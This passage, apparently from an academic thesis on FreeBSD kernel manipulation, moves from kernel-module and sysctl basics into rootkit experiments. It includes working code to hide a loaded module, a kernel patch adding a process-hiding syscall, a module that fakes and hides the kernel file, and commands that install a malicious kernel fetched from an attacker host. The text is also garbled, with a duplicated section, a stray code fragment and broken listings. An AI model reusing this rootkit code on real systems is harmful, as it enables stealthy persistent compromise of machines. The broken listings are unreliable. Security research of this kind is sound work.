The corresponding entry in the system call table, which we already analyzed in Section 3.4.3, is made of a `sysent` structure as shown in Listing 3.8 including the number of arguments and the implementing function.

```c
static struct sysent my_syscall_sysent = {
  0,
  (sy_call_t *)my_syscall,
};
```
To define the slot in the system call table one can either search for a free slot number and set its value or use NO_SYSCALL, which is actually -1, whereby syscall_register() in kern_syscalls.c is caused to search and assign a free slot at loading time.

The following function is executed when the system call is loaded or respectively unloaded. It may be used for initialization or clean-up purposes. In our example only a message is posted that informs about the slot number that is or was assigned. Do not confuse this function with the similar myhandler() function from above, because in contrast to that it is invoked from the routine corresponding to myhandler() namely syscall_module_handler() on each load or unload, respectively.

So the difference between this and the previous example is that instead of the self defined myhandler() routine we use here syscall_module_handler(), whence besides load() also syscall_register() is called, which is dedicated for the purpose of adding a system call to the system call table. Besides the module structure and the MOD_LOAD parameter syscall_module_handler() is called with the special syscall_module_data structure as additional parameter, which provides the required information about the system call defined as follows.

The remaining structures are specific to module loading and module administration in the kernel. We have already explained them in Subsection 3.6.1.
3.6. KERNEL MODULES

```c
static struct mod_metadata my_syscall_mod_metadata = {
    MDT_STRUCT_VERSION,
    MDT_MODULE,
    &my_syscall_moduledata,
    "my_syscall"
};

static struct sysinit my_syscall_module_sysinit = {
    SI_SUB_DRIVERS,
    SI_ORDER_MIDDLE,
    module_register_init,
    &my_syscall_moduledata
};

static void const * const __set_modmetadata_my_syscall
    __attribute__((__section__("set_modmetadata_set")))
    __attribute__((__used__)))
    = &my_syscall_mod_metadata;

static void const * const __set_sysinit_my_syscall
    __attribute__((__section__("set_sysinit_set")))
    __attribute__((__used__)))
    = &my_syscall_module_sysinit;
```

Note that to ease the implementation of a module, FreeBSD provides a set of C preprocessor macros that hide the appropriate definition of these special structures. For instance SYSCALL_MODULE prepares for a KLD providing a system call and DECLARE_MODULE more generally for any loadable module. As it suffices to see a module at full length once, we use these shortcuts in the remaining sections.

Using a Self Defined System Call

Via the syscall() system call it is possible to invoke a system call by its number. Listing 3.16 shows a small program that reads the desired system call number from the command line and invokes it without any parameter.

Listing 3.16: /home/alm/my-syscall/use-my-syscall.c

```c
int main(int argc, char* argv[]){
    int syscall_num = 1;
    if(argc == 2)
        sscanf(argv[1], "%d", &syscall_num);
    return syscall (syscall_num);
}
```

Finally, to test the whole example we run the following commands. It includes the compilation of the module via an appropriate kernel module makefile as shown by Listing 3.11.

```
freebsd# cd /home/alm/my-syscall/
freebsd# ls
Makefile my-syscall.c use-my-syscall.c
freebsd# make
[...]
freebsd# kldload ./my-syscall.ko
freebsd# kldstat
```
### 3.7 System Controls

FreeBSD provides a well-defined interface to pass information to and from the kernel at runtime — namely the `sysctl()` system call, which is exported by the standard library `libc` to the user space as `sysctl()`. For example, it can be used to set certain kernel variables such as the hostname or the secure level as well as to retrieve information about processes or other kernel data structures.\(^8\)

To be more precise we need the following definitions.\(^9\) The kernel name space is the set of all kernel routines and data that are given a name. To print out the name space `readelf -s /boot/kernel/kernel` can be used. A system control object or \(\text{sysctl}^{10}\) consists exactly of one `sysctl_oid` object as shown by Listing 3.17. An instance of such an object contains a pointer to an element of the kernel name space in \(\text{oid}_{\text{arg1}}\) and a pointer to a so-called system control handler routine in \(\text{oid}_{\text{handler}}\). This routine is also an element of the kernel name space.

```c
struct sysctl_oid {
    struct sysctl_oid_list *oid_parent;
    SLIST_ENTRY(sysctl_oid) oid_link;
    int oid_number;
    u_int oid_kind;
    void *oid_arg1;
    int oid_arg2;
    const char *oid_name;
    int (*oid_handler)(SYSCTL_HANDLER_ARGS);
    const char *oid_fmt;
    int oid_refcnt;
    const char *oid_descr;
};
```

With each `sysctl()` call exactly one system control object is associated. During the

\(^8\)Note that for the handling of data about processes also the file system based interface `procfs` is available, which is turned off by default. We do not cover `procfs`.

\(^9\)The terminology of this section may depart from what is standard in FreeBSD.

\(^{10}\)Do not confuse this term with the user space routine `sysctl()`. 
3.8. INTERPROCESS COMMUNICATION AND I/O

This section deals with I/O and interprocess communication (IPC) facilities. We particularly turn our attention to facilities that are accessed through so-called file descriptors. They make up a major part of I/O and IPC.

While with the term I/O one commonly refers to the exchange of data between subjects and objects as defined in Subsection 2.3.3, interprocess communication (IPC) means communication of subjects with each other. Though these terms are not well separated, since for example IPC may happen via objects. In the remainder of this section we also speak of processes, devices, files, et cetera instead of subjects and objects.

---

11 The access mode of a system control object can be either read only, write only, or read and write. It is indicated among other things by the oid_kind field of the sysctl_oid structure.
I/O and IPC are accomplished for a process either exclusively through the system call interface or are based on virtual memory. The latter case includes memory mapped I/O and shared memory IPC.

In the former case a process opens a connection to an object by requesting a file descriptor, which is an identifier for this connection with the object. Further I/O related system calls, such as for reading and writing, refer to the connection through the associated file descriptor. Note that there are also IPC mechanisms, such as semaphores and signals, that do not use file descriptors.

A file descriptor is actually a non-negative integer that is used in the kernel as an index in the file descriptor table of a process, which is kept in the **filedesc** substructure *p_fd* of the process structure [35, p.226]. Its entries are **file** structures containing meta data about the associated object such as its type and type specific data.

Basically there are two different kinds of such types: on the one hand one kind for those objects that do appear in the file system tree called **vnodes** and on the other hand one for those that do not. Vnodes are an abstraction of everything that appears in the file system tree such as regular files, directories, links, fifos, and device special files. Examples not appearing in the file system tree are pipes and sockets. For more information about the I/O objects just mentioned refer to *The Design and Implementation of the FreeBSD Operating System* [35]. Figure 3.3 depicts the classification of I/O and IPC facilities that we described here.
We give further information about the following examples of vnodes: regular files, directories, and the device special file /dev/kmem.

For a regular file a file descriptor can be obtained by the open() system call. The path in the file system tree is given as a parameter and the appropriate file descriptor is returned if no error occurred. \(^\text{12}\)

The file system tree is built by means of directories. A directory is a node that contains the names of its direct children on the one hand and on the other hand a file system specific identifier for each child. In particular, file names are only stored in the directory where the associated file is contained in. Therefore pathnames are translated step by step by traversing the directories on the path.

The contents of a directory can be obtained by the getdirent() system call. Independent of the underlying file system, getdirent() writes these contents as an array of dirent structures to a buffer in user space. The format of the dirent structure is shown by Listing 3.18. In particular, dirent structures may vary in its size.

In case of the Unix File System (UFS), directories are stored on the disc in this way. The file system specific identifier is the number of the inode.

Finally, it should be noted that the kernel segment of memory is exported as the node /dev/kmem in the file system tree. It provides unstructured character-based access to the kernel segment.

\[^{12}\text{The other way of accessing a file by its path is file execution through the execve() system call [35, p.174]. However, this is not I/O.}\]
Chapter 4

Analysis of Manipulation Methods and Their Impact

This chapter deals with methods of manipulation in operating system kernels using FreeBSD as an example. According to Definition 33 a kernel manipulation is a subversion of the integrity of the kernel. The analysis of such methods is twofold: While we explore on the one hand the different possibilities to compromise the integrity of the kernel, the consequences that a manipulation can entail are of interest on the other hand. The classification in the first section follows this perception. After that, a detailed consideration in terms of several experiments takes place to illustrate these methods and their goals.

4.1 Classification

4.1.1 Different Methods of Manipulation

In this subsection we cover the different methods of manipulation using the kernel entry points at the top half and at the bottom half of the kernel. We only consider kernels that are protected by a protection domain. As we pointed out in Subsection 2.4.3 this approach is an essential concept in UNIX and thus in FreeBSD.

Firstly, the only way for a user process to interact with the outside of its virtualized world is the system call interface. Hence, a manipulation initiated at the top half of the kernel can only be achieved via this interface, if at all. On the one hand such a manipulation can be achieved either if an attacker is able to execute supplied malicious code in kernel mode, or if an attacker can write supplied malicious data to the kernel segment. In both cases, however, there must be a severe vulnerability in the handling of a system call in the kernel that makes this possible for an attacker. On the other hand, most operating systems allow privileged users to extend or modify the kernel to upgrade it to a new version fixing an error or to add further features such as support of a new hardware device. On modern systems this is even possible at runtime. There have to be system calls that are specifically designed to provide this functionality. To misuse this operating system feature for a manipulation, an attacker has to circumvent the mechanism that enforces user privileges. This approach to kernel manipulation is likely to be the most common way and thus we cover it in detail. In FreeBSD parlance,
CHAPTER 4. ANALYSIS OF MANIPULATION METHODS

the attacker has to use a root exploit to get root’s privileges. These are necessary to misuse one of the three following ways for a manipulation of the kernel [8, p.107 et seq.]:

1. By loading a kernel loadable module (KLD) via the kldload() system call it is possible to run arbitrary code in kernel mode. Thus it is possible to modify the kernel and its data in any way. This interface was originally designed to extend the functionality of the kernel as illustrated in Chapter 3, but can be misused for a manipulation by an attacker.

2. The whole kernel segment of memory is exported readable and writable to the user root via the /dev/kmem node of the file system. Thus it is possible to manipulate existing kernel code and kernel data as well as to inject new code to a piece of unused memory, which is then activated, for example, by redirecting a system call [8, p.108].

3. Finally, it is possible to patch or replace the kernel executable file /boot/kernel or one of the kernel loadable module files in the /boot/kernel/ directory (using the file system specific system calls). With this method even major changes of the functionality of the kernel are easy to handle. An attacker may, for instance, develop and compile a subtle dysfunctional kernel taking all the time they need. Afterwards they only have to install it in the target system. At this point a supposed FreeBSD advantage over Linux may turn into a disadvantage, since the concept of the one GENERIC kernel per release eases such attacks.

These three methods do not differ in their power to manipulate the functionality of the kernel since all of them allow to run arbitrary code in kernel mode. But, they indeed differ in complexity and suitability for the different aims of the attacker. These aims are described in the following subsection.

Secondly, there is another way to manipulate the kernel – namely via the bottom half interface. In this case, the attacker has to exploit a vulnerability in a component of the I/O subsystem of the kernel. Under certain circumstances the attacker can also in this way inject supplied malicious code to be executed in kernel mode or they can write supplied malicious data to the kernel segment. Such a scenario could originate, for example, from the incorrect handling of IP packets arriving from a network device so that a specially prepared packet can cause an incident.

Finally, it should be noted that we neglect all physical attacks at the hardware level and presume that the attacker does not have physical access to the target machine. In particular the attacker is not able to access the hard disk, when the system is switched off, to replace or modify kernel files.

4.1.2 Impact and Possible Goals of a Manipulation

Basically an attacker is able to implement any dysfunction in the kernel by the methods just described. Hence the impact of a subtle manipulation can be enormous. This subsection lists typical objectives for which an attacker strives by means of such a manipulation.

Before we start it should be noted that the SubVirt project [31] showed that it is even possible to inject a dysfunctional virtual machine monitor (VMM) as new kernel
beneath the hardware and the pre-existing operating system kernel. The old kernel then runs on this VMM as a pseudo kernel. In doing so, the integrity of the kernel is preserved. This makes such a kind of incident even harder to detect. Since in this case we do not have a proper manipulation of the kernel according to our definition at the beginning of this chapter, we skip considering this also significant approach.

Stealth

Attacker may wish to operate completely by stealth, which means that they want to hide all their activities from detection. For this purpose a manipulation of the kernel provides the best conditions as all detection mechanisms of a running system make use of the services of the manipulated kernel. Here is the major advantage of kernel manipulation over a manipulation at the library level or at the level of system and application programs, where kernel services remain untouched.

Backdoor

If an attacker caused an incident to get full access to a target system, they may wish to install a backdoor, which is a hidden entrance to the system giving them unimpeded access in the future. Since a backdoor lives from being stealthy, an implementation with the aid of a kernel manipulation provides maximum effect.

Persistence

Depending on the average uptime of a target system, persistence of the changed malicious functionality of the kernel across a reboot may be the goal of an attacker. This can only be achieved by saving malicious code non-transiently, for instance in /boot/kernel/kernel on the hard disk. A manipulation via /dev/kmem or via a KLD does not provide persistence without further ado.

Full Disclosure

A manipulated kernel gives an attacker the possibility to access any data processed by the subverted target system. This includes clear text passwords, whole terminal sessions, or network communications.

4.1.3 Eliciting Points of Attack in the Kernel

To be more precise, a manipulation of the kernel means a manipulation of kernel data or kernel routines. Therefore we call a manipulated routine or data item a point of incident or a point of manipulation. In case of being the target of an attack, for instance for the purpose of a manipulation, we call a routine or a data item a point of attack.

A routine can access further routines and data by means of procedure calls and memory address dereferencing, which means accessing data at a given address. The same holds for data since grouped or structured data can contain pointers to further data or even to routines. Following this perception, we may view on the one hand the set of all points of attack as vertices and on the other hand all accesses to points of attack as edges. Thereby we obtain a directed graph. Figure 4.1 shows a potential example. We
speak of direct access in case of access between adjacent vertices. Otherwise, indirect access exists in case of a vertex being in the reachability set of another vertex and no direct access is given.

During a manipulation of a point of attack one must be aware of all its ingoing and outgoing edges in order to handle correctly all possible side effects in association with this point of attack after the manipulation. Thus it is desirable to elicit points of attack having a manageable set of such edges. An example are the functions representing the system call interface (at the top of the kernel) that do not have any ingoing edges since usually a system call is not called from the inside of the kernel. Alike, vertices having few outgoing edges are therefore suited for a manipulation. Such vertices are low level data or functions operating directly at them.

Another criterion for eliciting points of attack arises from the goal to be stealthy. A manipulation that strives for hiding itself and possibly further malicious user level activity as well will be most efficient if it addresses the origin of the information to be hidden rather than the system calls with which they are accessed. The reason for this is quite obvious as information in the kernel is gathered in a straightforward manner in terms of few centralized low level data. In contrast to this there are usually numerous system calls that directly or indirectly access those data. From this follows that fewer points of manipulation are necessary, which means higher efficiency.

Additionally in such a case of manipulation, stealth may also be more effective since firstly fewer points of manipulation are less prone to errors, presumed that their complexity does not outweigh this advantage. Note that a manipulation of system calls is quite easy to understand and thus less complex. Secondly, the shortest path length – with respect to our directed graph – from a system call to any point of manipulation will then be maximal. In particular vertices close to the user level will then be likely to remain untouched. Hence an analysis of the system call interface or of vertices close to this interface by a privileged user, which might be via self-defined kernel code or direct access to the kernel segment, will not reveal the manipulation. This will give an advantage if such an analysis is easier to accomplish than an analysis of low level vertices. Summing up these facts, we can say that keeping a manipulation far from user level may improve its stealth in efficiency and effectiveness.

Finally the set of points of attack that come into question depends mostly on the
4.2 Presumptions

For the following experiments with the FreeBSD system we presume that an attacker is able to perform a manipulation as root after a penetration of the target system or on behalf of a malicious program run by root. As a consequence, the manipulation methods elaborated in this chapter can realistically start from a root shell of the target system. The attacker’s root access is limited in time and the root password is not disclosed before the manipulation. We regard all these to be realistic presumptions.

4.3 Experiment 1: Hiding a Module

Our first experiment compares a manipulation of low level data with a manipulation of the system call interface with regard to efficiency and effectiveness of the stealth functionality. For this purpose we develop a KLD in two versions that try to hide themselves from detection and that have no further payload. While version 1 intercepts several system calls that are related to module loading and querying, version 2 directly manipulates the appropriate administrative low level data. As a consequence the attacker in this experiment applies the module technique of manipulation for the goal of stealth. We also prepare the use of the module technique for any other stealthy manipulation, since before we can do anything stealthy by this technique, we need to hide the existence of the module itself.

While we pick out and explain snippets of the source code of the modules in this section, the full sources are included in Section C.1 of the appendix. Compilation and installation of loadable modules was covered in Section 3.6.

We start with version 1 of the module. This version intercepts, for example, the modnext() system call and replaces it by what is shown in Listing 4.1. The modnext() system call normally returns the module identifier of the next kernel module to a given module identifier in the list of all modules modules or it returns 0 if the given module identifier identifies the last module in the list. By giving modnext() an identifier 0 as parameter, it returns the identifier of the first module in the list. Thereby one can browse the list of all kernel modules. Instead, our mymodnext() system call calls the original modnext() and checks whether it returned the identifier of the module that we want to hide. In that case mymodnext() calls again the original modnext(). This time our module identifier is used as parameter in order to skip this identifier.

Listing 4.1: /home/alm/exp1/hide-module-v1.c

```c
static int mymodnext (struct thread *td, struct modnext_args *uap)(
  int error = 0;

  error = modnext(td, uap);

  if (td->td_retval[0] == mymodid){
    uap->modid = mymodid;
    error = modnext(td, uap);
  }

  return (error);
```
Analogously we deal with all other system calls that are related to module handling. As a result, no request of the system utilities `kldstat` and `kldunload`, which fall back to these system calls, can reveal the hidden module. When in DEBUG mode, it is possible to unload the module by issuing `kldunload -i id`, while `id` is printed out as kernel log message at loading time. In that case, the module purges all modifications from the system call table.

Although version 1 was quite easy to program, ten system calls had to be manipulated with the result of 280 lines of code. In addition the reference counter of the kernel linker file `/boot/kernel/kernel`, which is increased by loading a further linker file into the kernel, shown by the `kldstat` program might raise suspicion. Identification numbers of modules and linker files are assigned in ascending order, so that a gap resulting from a hidden module might also give a hint. These drawbacks in efficiency and effectiveness are addressed by version 2 of the module, which works similarly to what the hacker Pragmatic did [37]. This time we look at the administrative data about modules in the kernel, which are described in Subsection 3.6.2. Referring to what the routines `module_release()` and `linker_file_unload()` do at the time of unloading, we manipulate the global list of linker files and modules – namely `linker_files` and `modules` – as well as the reference counter of the kernel linker file and the variables providing next free identification numbers `nextid` and `next_file_id`. As shown by Listing 4.2, these five manipulations are performed on behalf of the module handler routine, which is called after the registration of the module in the kernel’s administrative data structures took place. Note that the version 2 module does not provide a debug mode in which it can be properly unloaded.

```
static int myhandler (struct module *module, int what, void *arg){
    int error = 0;

    switch (what) {
    case MOD_LOAD :
        /* save my module and linker file id */
        mymodid = module->id;
        myfileid = module->file->id;

        /* remove from list of linker files */
        mtx_lock(&kld_mtx);
        TAILQ_REMOVE(&linker_files , module->file, link);
        mtx_unlock(&kld_mtx);

        /* decrease reference count of kernel linker file */
        linker_kernel_file ->refs--;

        /* remove from list of modules */
        TAILQ_REMOVE(&modules , module, link);

        /* decrease number of next available module id */
        nextid--;

        /* decrease number of next available linker file id */
        next_file_id--;

    #ifdef DEBUG
        printf("Loaded malicious module. Linker file id: %d, Module id: %d\n", myfileid, mymodid);
    #endif
    
    break;
    
    default:
        error = -EINVAL;
    }
    return error;
}
```
4.4 Experiment 2: Hiding a Process

An attacker may wish to hide a user process that performs their malicious activity. This could be for example the attacker’s login shell, a network sniffer, or a self replication mechanism. In our Experiment 2 we develop a kernel from the source with support for such hidden processes. This kernel shall behave as a GENERIC kernel in all other respects. Afterwards we simply replace the original \texttt{/boot/kernel/kernel} file on the target machine by our malicious version of that file. Even though a reboot is necessary to activate the malicious kernel, it will then persist all further reboots.

The idea is to assign a hidden flag to each process in its process structure and to modify the appropriate \texttt{sysctl} handler routine (\texttt{sysctl\_kern\_proc()}) such that hidden processes are skipped. Recall from Section 3.7 that this handler routine normally passes information about all processes to the user space. All child processes of a hidden process inherit this property from their parent’s process structure. Through an additional system call it is be possible to mark a process as hidden. We neglect the possibility to access information about processes via \texttt{procfs} at this point such that our hidden processes can be revealed this way. To hide a process from \texttt{procfs} means to hide a file in a file system. We cover that in Section 4.5.

4.4.1 Development

In the following we explain all necessary source code changes, which are all made under \texttt{/usr/src/sys/}, where the whole source code of the kernel is located. For an exact information of what we changed look at the \texttt{diff} file in Section C.2 of the appendix.

We start with the process structure which is defined in \texttt{proc.h}. As shown by Listing 4.3 we simply add an integer variable \texttt{p\_hidden} that indicates whether or not a process is hidden.

Listing 4.3: /usr/src/sys/sys/proc.h

```c
struct proc {
    /* The following fields are all copied upon creation in fork. */
#define p_startcopy p_endzero

    int p_hidden; /* (j/c) Make process hidden */
#define p_endcopy p_xstat

    /* End area that is copied on creation. */
};
```

```c
sendf
    printf("Our Payload is just this message!\n");
    break;
    case MOD_UNLOAD :
        error = 0;
        break;
    default :
        error = EOPNOTSUPP;
    break;

    return error;
```
In order that \texttt{p\_hidden} is correctly initialized with a value of 0, which indicates “not hidden”, we only have to set this value once when the first process \texttt{proc0} also called \texttt{[swapper]} is created. All other processes are forked from this process and they will inherit the “not hidden” property if the \texttt{p\_hidden} flag is declared between the \texttt{p\_startcopy} and the \texttt{p\_endcopy} macro. This area of the process structure is copied upon creation by the \texttt{fork1()} procedure, which is the backend of the \texttt{fork()} family of procedures. Thereby also the “hidden” property is obviously inherited by the children of a process. Listing 4.4 shows the necessary change of the initialization routine of \texttt{proc0} in \texttt{init\_main.c}, which is called at boot time.

\textbf{Listing 4.4:} /usr/src/sys/kern/init\_main.c

\begin{verbatim}
static void proc0_init(void *dummy __unused) {
  p->p_hidden = 0;
}

SYSINIT(p0init, SI_SUB_INTRINSIC, SI_ORDER_FIRST, proc0_init, NULL)
\end{verbatim}

As mentioned above, the \texttt{sysctl\_kern\_proc()} system control handler is associated to most leafs of the \texttt{kern.proc} node. In particular the system control requests of the \texttt{ps} command fall back to this handler. We have to manipulate this handler at two points as shown by Listing 4.5. In case of a \texttt{kern.proc.pid} system control request, which is issued to get information about a single process, a hidden process behaves as if there were no such process – i.e. \texttt{ESRCH} error. Note that the \texttt{pfind()} procedure returns with the process \texttt{p} being locked.

\textbf{Listing 4.5:} /usr/src/sys/kern/kern\_proc.c

\begin{verbatim}
int sysctl\_kern\_proc(SYSCTL\_HANDLER\_ARGS) {
  if (oid\_number == KERN\_PROC\_PID) {
    if (name\_len != 1)
      return (EINVAL);
    error = sysctl\_wire\_old\_buffer(req, 0);
    if (error)
      return (error);
    p = pfind((pid\_t)name[0]);
    if (!p)
      return (ESRCH);
    if (p->p_hidden) { /* skip hidden process */
      PROC\_UNLOCK(p);
      return (ESRCH);
    }
    if ((error = p\_cansee(curthread, p))) {
      PROC\_UNLOCK(p);
      return (error);
    }
    error = sysctl\_out\_proc(p, req, flags);
    return (error);
  }
  return 0;
}
\end{verbatim}
4.4. EXPERIMENT 2: HIDING A PROCESS

In all other cases the lists of all running processes allproc and all zombie processes zombproc are traversed by a for loop to accumulate the appropriate information. During each pass through that loop embryonic as well as hidden processes are skipped.

```c
for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
  if (!doingzomb)
    p = LIST_FIRST(&allproc);
  else
    p = LIST_FIRST(&zombproc);
  for (; p != 0; p = LIST_NEXT(p, p_list)) {
    /*
     * Skip embryonic and hidden processes.
     */
    mtx_lock Spin(&sched_lock);
    if (p->p_state == PRS_NEW || p->p_hidden) {
      mtx_unlock_spin(&sched_lock);
      continue;
    }
  }
```

Finally we need to install an additional system call that marks a process as hidden. Further system calls can be easily added by an entry in the system call master database syscall.master. Listing 4.6 shows our entry with the index number in the system call table 242 and the name of the system call implementing function hideproc(). As argument hideproc() needs the process identification number pid of the process in order to hide this process.

**Listing 4.6: /usr/src/sys/kern/syscalls.master**

```c
242  AUE_NULL  MSTD  { int hideproc(pid_t pid); }  
```

All necessary changes to the source code in syscall.h, syscall.mk, sysproto.h, init_sysent.c, and syscalls.c are generated automatically by what is shown in the following shell session.

```
attacker# cd /usr/src/sys/kern
attacker# sh makesyscalls.sh syscallmaster
```

It remains to implement the implementing function of the system call hideproc(). We simply add this to kern_prot.c where similar functions such as the getsid() system call reside. Listing 4.7 shows the complete hideproc() function. Its functionality is straightforward: If pid is 0, hideproc() will mark the current process as hidden. Otherwise it tries to find the process with the given pid in order to mark this process as hidden. If this pid belongs to a hidden process, it will return that there is no such process.

**Listing 4.7: /usr/src/sys/kern/kern_prot.c**

```c
/*
 * Hide a process
 */
#ifdef _SYS_SYSPROTO_H_
struct hideproc_args {
  pid_t pid;
```

```
4.4.2 Deployment

Before we begin with the deployment of the manipulation, a few words on hiding the manipulation itself – i.e. how to prevent the replacement of the kernel from detection. Without further ado our malicious kernel can be detected by a comparison of its hash value, e.g. \texttt{md5}, with the hash value of the original kernel. This is possible in the current experiment after the replacement of the kernel no matter whether or not the malicious kernel is already running. We address this point in our experiment on hiding a file in Section 4.5. But there is also some information hard-wired into the kernel that may raise suspicion when the malicious kernel is running. An important example is the system control value of \texttt{kern.version} that is displayed when \texttt{uname -a} or \texttt{sysctl kern.version} is issued in the shell. We do not need to pay attention on variables such as the \texttt{hostname} that are initialized from configuration files such as \texttt{/etc/rc.conf} at boot time. These files are not changed.

Let us now turn to the deployment of the manipulation. Assume an attacking host \texttt{attacker} and and a target host \texttt{target}. We prepare and compile a malicious kernel on \texttt{attacker} and then log into \texttt{target} and install this kernel. First we need to prepare the hard-wired \texttt{kern.version} to display the value given by \texttt{target}. Further preparations that are similar to this one are perhaps necessary.

\begin{verbatim}
4.4.2 Deployment

Before we begin with the deployment of the manipulation, a few words on hiding the manipulation itself – i.e. how to prevent the replacement of the kernel from detection. Without further ado our malicious kernel can be detected by a comparison of its hash value, e.g. \texttt{md5}, with the hash value of the original kernel. This is possible in the current experiment after the replacement of the kernel no matter whether or not the malicious kernel is already running. We address this point in our experiment on hiding a file in Section 4.5. But there is also some information hard-wired into the kernel that may raise suspicion when the malicious kernel is running. An important example is the system control value of \texttt{kern.version} that is displayed when \texttt{uname -a} or \texttt{sysctl kern.version} is issued in the shell. We do not need to pay attention on variables such as the \texttt{hostname} that are initialized from configuration files such as \texttt{/etc/rc.conf} at boot time. These files are not changed.

Let us now turn to the deployment of the manipulation. Assume an attacking host \texttt{attacker} and and a target host \texttt{target}. We prepare and compile a malicious kernel on \texttt{attacker} and then log into \texttt{target} and install this kernel. First we need to prepare the hard-wired \texttt{kern.version} to display the value given by \texttt{target}. Further preparations that are similar to this one are perhaps necessary.

\texttt{target# sysctl kern.version}
\end{verbatim}
4.4. EXPERIMENT 2: HIDING A PROCESS

We change the value of `kern.version` in the appropriate configuration file `/usr/src/sys/conf/newvers.sh` appropriately. As the value of `kern.version` is different for each attack, it is not a part of the patch file of Listing C.3 that changes all the rest. Listing 4.8 shows the original initialization value `VERSTR` of `kern.version`, which is commented out, followed by our modified value of `VERSTR`. Other system control values that might need to be prepared are also initialized there.

Listing 4.8: `/usr/src/sys/conf/newvers.sh`

```c
#define SCCSSTR "@(#)${VERSION},${v},${t}\n
#define VERSTR "FreeBSD 6.0-RELEASE#${u},${h},${d}\n
#define RELSTR "\n
char sccs[sizeof(SCCSSTR) > 128 ? sizeof(SCCSSTR) : 128] = SCCSSTR;
char version[sizeof(VERSTR) > 256 ? sizeof(VERSTR) : 256] = VERSTR;
char ostype[sizeof(RELSTR) > 32 ? sizeof(RELSTR) : 32] = RELSTR;
int osreldate = ${RELDATE};
char kern_ident[] = "$i";
```

After that preparation we patch the kernel according to what we described in the previous subsection by applying the patch depicted in Listing C.3 in the appendix. This is followed by the compilation of the kernel on `attacker` and the replacement of the kernel on `target`.

`attacker#` cd `/usr/src/sys`
`attacker#` patch < `/home/alm/exp2/exp2-install.diff`
`attacker#` cd `/usr/src`
`attacker#` make buildkernel

`[...]`

`target#` scp root@attacker:/usr/obj/usr/src/sys/Generic/kern /boot/kernel/kernel
`target#` reboot

In order for the changes to take their persistent effect a reboot on `target` is necessary. The functionality of hidden processes can then be used by programs as shown by Listing 4.9 and 4.10. While `hideproc.c` hides the process with the given `pid`, `malproc.c` hides itself to obscure its malicious activity, which is just printing out a message. If for example the login shell of a user is hidden, all commands and programs started by this user from their shell are also hidden. Appropriate exemplary shell sessions are shown below.

Listing 4.9: `/home/alm/exp2/hideproc.c`

```c
int main(int argc, char* argv[])
{
    int pid;

    if (argc == 2)
    {
        sscanf(argv[1], "%d", &pid);
        return (syscall(242, pid));
    }
    return (-1);
}
```
### Listing 4.10: /home/alm/exp2/malproc.c

```c
void main(void){
    int pid;
    pid=getpid();
    printf("Yet, I am visible and my PID is %d\n", pid);
    sleep(5);
    syscall(242,0); /* activating stealth mode */
    printf("Now I am invisible and ready for malicious activity!\n");
    sleep(60);
    return;
}
```

```bash
target# ps
PID TT STAT TIME COMMAND
494 p0 S+ 0:00.13 -csh (csh)
608 p0 R+ 0:00.02 ps
target# scp root@attacker:/home/alm/exp2/hideproc.c .
target# cc hideproc.c -o hideproc
target# ./hideproc 494
target# ps
PID TT STAT TIME COMMAND
```

```bash
target#
```

```
Yet, I am visible and my PID is 629
PID TT STAT TIME COMMAND
629 p0 S+ 0:00.01 ./malproc
```

```bash
target#
```

```
Now I am invisible and ready for malicious activity!
PID TT STAT TIME COMMAND
629 p0 S+ 0:00.01 .malproc
```

```
target#
```

### 4.5 Experiment 3: Manipulation of File Access

In this experiment we deal with manipulation of file accesses, for example with hiding files from users. In this context we call a file *hidden* if its existence is obscured from users. For example, users might not be able to display a hidden file by examining the directory it is in. If they try to open it through an `open()` or `execve()` system call, they will receive an error message. The case of an `execve()` could be arranged in such a way that the user receives the error message but the program in the hidden file is started anyway. In this way for example hidden logfiles, hidden malicious user level programs, and hidden files containing disclosed information can be realized.

We speak of a *bogus file* if the integrity of that file is subverted without any user becoming easily aware of it. If a user examines a bogus file, they will only find what they expect. But in fact the state of the file is only pretended and its real state is hidden from the user. For an attacker the following example would be useful. A shell script such as
4.5. EXPERIMENT 3: MANIPULATION OF FILE ACCESS

one of the rc scripts in /etc/ could be bogus such that an open() system call reveals the original script, but on an execve() a malicious version of that file is executed.

In the following we consider two typical scenarios. Our first aim is to cope with a problem that we were confronted with, when attacks replaced /boot/kernel/kernel in Section 4.4. Before the functionality of the new (malicious) kernel can take effect, a reboot is necessary. But until then such an attack would be easily detected by, for example, an analysis of the hash value of the kernel file. Thus, there is a need for a bogus file that we implement in Subsection 4.5.1 with the module technique.

Furthermore we discuss the support for hidden files and for bogus files in a malicious kernel that replaces /boot/kernel/kernel in Subsection 4.5.2. Once this kernel is running, it must also prevent detection of the replacement of the kernel file via a bogus file.

4.5.1 A Bogus File with a Loadable Module

We aim to make the kernel file a bogus file immediately after the installation of the malicious kernel to /boot/kernel/kernel. The idea is to save the original kernel file at another location, say /boot/kernel/kernOK. Then we load a KLD that manipulates the open() system call such that open requests for /boot/kernel/kernel are redirected to /boot/kernel/kernOK. Additionally the KLD intercepts all getdirentries() system calls, which are used to examine the entries of a directory [35, p.309], in order to hide the original kernel file kernOK.

We explain the design and implementation of the new versions of open() and getdirentries(), which are shown by Listing 4.11, in this subsection. A full source code listing of the KLD can be found in Section C.3 of the appendix.

Listing 4.11: /home/alm/exp3/hide-file-kld.c

```c
#define NAME_OF_ORIG_KERNEL "kernOK"

int mygetdirentries (struct thread *td, struct getdirentries_args *uap){
    int error = 0;
    struct dirent *dp, *nextdp;
    int len;
    int reclen;
    int offset = 0; /* byte offset in dirent struct array */
    /* */
    /* Returns:

    First mygetdirentries() calls the original getdirentries() system call. This system call writes – as described in the source code commentary – the entries of the given directory as an array of dirent structures to the user space buffer uap->buf, which is also given as parameter. The length of that array is returned in td->td_retval[0]. Note that the dirent structures are not equal sized and their length can be obtained through the d_reclen field. The while loop traverses the buffer array and deletes all entries whose file names, which are stored in the d_name field, match with kernOK. Hence any occurrence of a file named kernOK in any directory is hidden.
```
CHAPTER 4. ANALYSIS OF MANIPULATION METHODS

* (1) The entries of the given dir as an array of dirent structs:
* uap->buf

* (2) The length of that array == Number of bytes transferred:
* td->td_retval[0]

error = getdirenties(td, uap);

len = td->td_retval[0]; /* (2) */
dp = (dirent *)uap->buf; /* (1) */

while (offset<len){
    reclen = dp->d_reclen; /* length of current entry */
    nextdp = (struct dirent *)(((char *)dp) + reclen);
    if (strcmp(dp->d_name, NAME_OF_ORIG_KERNEL)==0){
        /* delete current entry */
        bcopy(nextdp, dp, len - offset);
        len-=reclen;
    } else {
        offset+=reclen; /* move offset over to the next entry */
        dp = nextdp;
    }
}

return (error);

